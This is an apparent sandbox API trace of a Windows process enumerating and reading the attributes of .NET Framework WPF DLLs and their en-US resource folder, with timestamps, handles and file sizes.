	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\NlsData0009.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\nlsdata0009.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2cd8 | out: lpFileInformation=0x123b2cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d7cff40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\NlsLexicons0009.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\nlslexicons0009.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2d28 | out: lpFileInformation=0x123b2d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d8684c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PenIMC.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\penimc.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2d78 | out: lpFileInformation=0x123b2d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5db15d80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x12a98)) returned 1
	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationBuildTasks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationbuildtasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2dc8 | out: lpFileInformation=0x123b2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dcdee00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92f78)) returned 1
	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationCore.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2e18 | out: lpFileInformation=0x123b2e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e6fcb80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352f60)) returned 1
	[0087.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework-SystemCore.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework-systemcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2e68 | out: lpFileInformation=0x123b2e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5efe9e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6300)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework-SystemData.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework-systemdata.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2eb8 | out: lpFileInformation=0x123b2eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0360c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d00)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework-SystemDrawing.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework-systemdrawing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2f08 | out: lpFileInformation=0x123b2f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f082380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5f10)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework-SystemXml.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework-systemxml.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2f58 | out: lpFileInformation=0x123b2f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6100)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework-SystemXmlLinq.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework-systemxmllinq.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2fa8 | out: lpFileInformation=0x123b2fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f11a900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5910)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.Aero.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.aero.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2ff8 | out: lpFileInformation=0x123b2ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e76efa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3cd88)) returned 1
	[0087.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.AeroLite.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.aerolite.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3048 | out: lpFileInformation=0x123b3048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e7e13c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b998)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.Classic.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.classic.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3098 | out: lpFileInformation=0x123b3098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e82d680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2c798)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.Luna.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.luna.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b30e8 | out: lpFileInformation=0x123b30e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x76788)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.Royale.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.royale.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3138 | out: lpFileInformation=0x123b3138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x33190)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationFramework.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3188 | out: lpFileInformation=0x123b3188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f309ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5ce970)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationHost_v0400.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationhost_v0400.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b31d8 | out: lpFileInformation=0x123b31d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2ced8)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationNative_v0400.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationnative_v0400.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3228 | out: lpFileInformation=0x123b3228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f414480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc0ce0)) returned 1
	[0087.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\PresentationUI.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\presentationui.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3278 | out: lpFileInformation=0x123b3278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f4d2b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xce4b8)) returned 1
	[0087.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\ReachFramework.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\reachframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b32c8 | out: lpFileInformation=0x123b32c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f544f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8f158)) returned 1
	[0087.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\System.Printing.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3318 | out: lpFileInformation=0x123b3318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d5b5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x59358)) returned 1
	[0087.882] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\System.Speech.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\system.speech.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3368 | out: lpFileInformation=0x123b3368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61887560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6950)) returned 1
	[0087.883] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\System.Windows.Controls.Ribbon.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\system.windows.controls.ribbon.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b33b8 | out: lpFileInformation=0x123b33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6aeca220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb5f98)) returned 1
	[0087.883] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\System.Windows.Input.Manipulations.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\system.windows.input.manipulations.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3408 | out: lpFileInformation=0x123b3408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b210060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x109a8)) returned 1
	[0087.883] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\System.Windows.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\system.windows.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3458 | out: lpFileInformation=0x123b3458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b25c320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7190)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\UIAutomationClient.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\uiautomationclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b34a8 | out: lpFileInformation=0x123b34a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b471660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b768)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\UIAutomationClientsideProviders.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\uiautomationclientsideproviders.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b34f8 | out: lpFileInformation=0x123b34f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b4e3a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x581a0)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\UIAutomationProvider.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\uiautomationprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3548 | out: lpFileInformation=0x123b3548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b509be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc170)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\UIAutomationTypes.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\uiautomationtypes.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3598 | out: lpFileInformation=0x123b3598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b555ea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d60)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\WindowsBase.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\windowsbase.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b35e8 | out: lpFileInformation=0x123b35e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b791340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x130548)) returned 1
	[0087.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\WindowsFormsIntegration.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\windowsformsintegration.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3638 | out: lpFileInformation=0x123b3638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b7b74a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19580)) returned 1
	[0087.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x123b3688 | out: lpFileInformation=0x123b3688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f37bf00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f37bf00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.885] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.885] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\en-US\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f37bf00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f37bf00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.885] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f37bf00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f37bf00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.885] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x14ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationHost_v0400.dll.mui", cAlternateFileName="PRESEN~1.MUI")) returned 1
	[0087.885] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.885] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\en-US\\PresentationHost_v0400.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\en-us\\presentationhost_v0400.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x123b3728 | out: lpFileInformation=0x123b3728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x14ae8)) returned 1
	[0087.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\wpf-etw.man" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\wpf-etw.man"), fInfoLevelId=0x0, lpFileInformation=0x123b3778 | out: lpFileInformation=0x123b3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6fd2500, ftCreationTime.dwHighDateTime=0x1d0aa82, ftLastAccessTime.dwLowDateTime=0x6b8c1e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf6fd2500, ftLastWriteTime.dwHighDateTime=0x1d0aa82, nFileSizeHigh=0x0, nFileSizeLow=0x24ff9)) returned 1
	[0087.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\wpfgfx_v0400.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\wpfgfx_v0400.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b37c8 | out: lpFileInformation=0x123b37c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d0b0)) returned 1
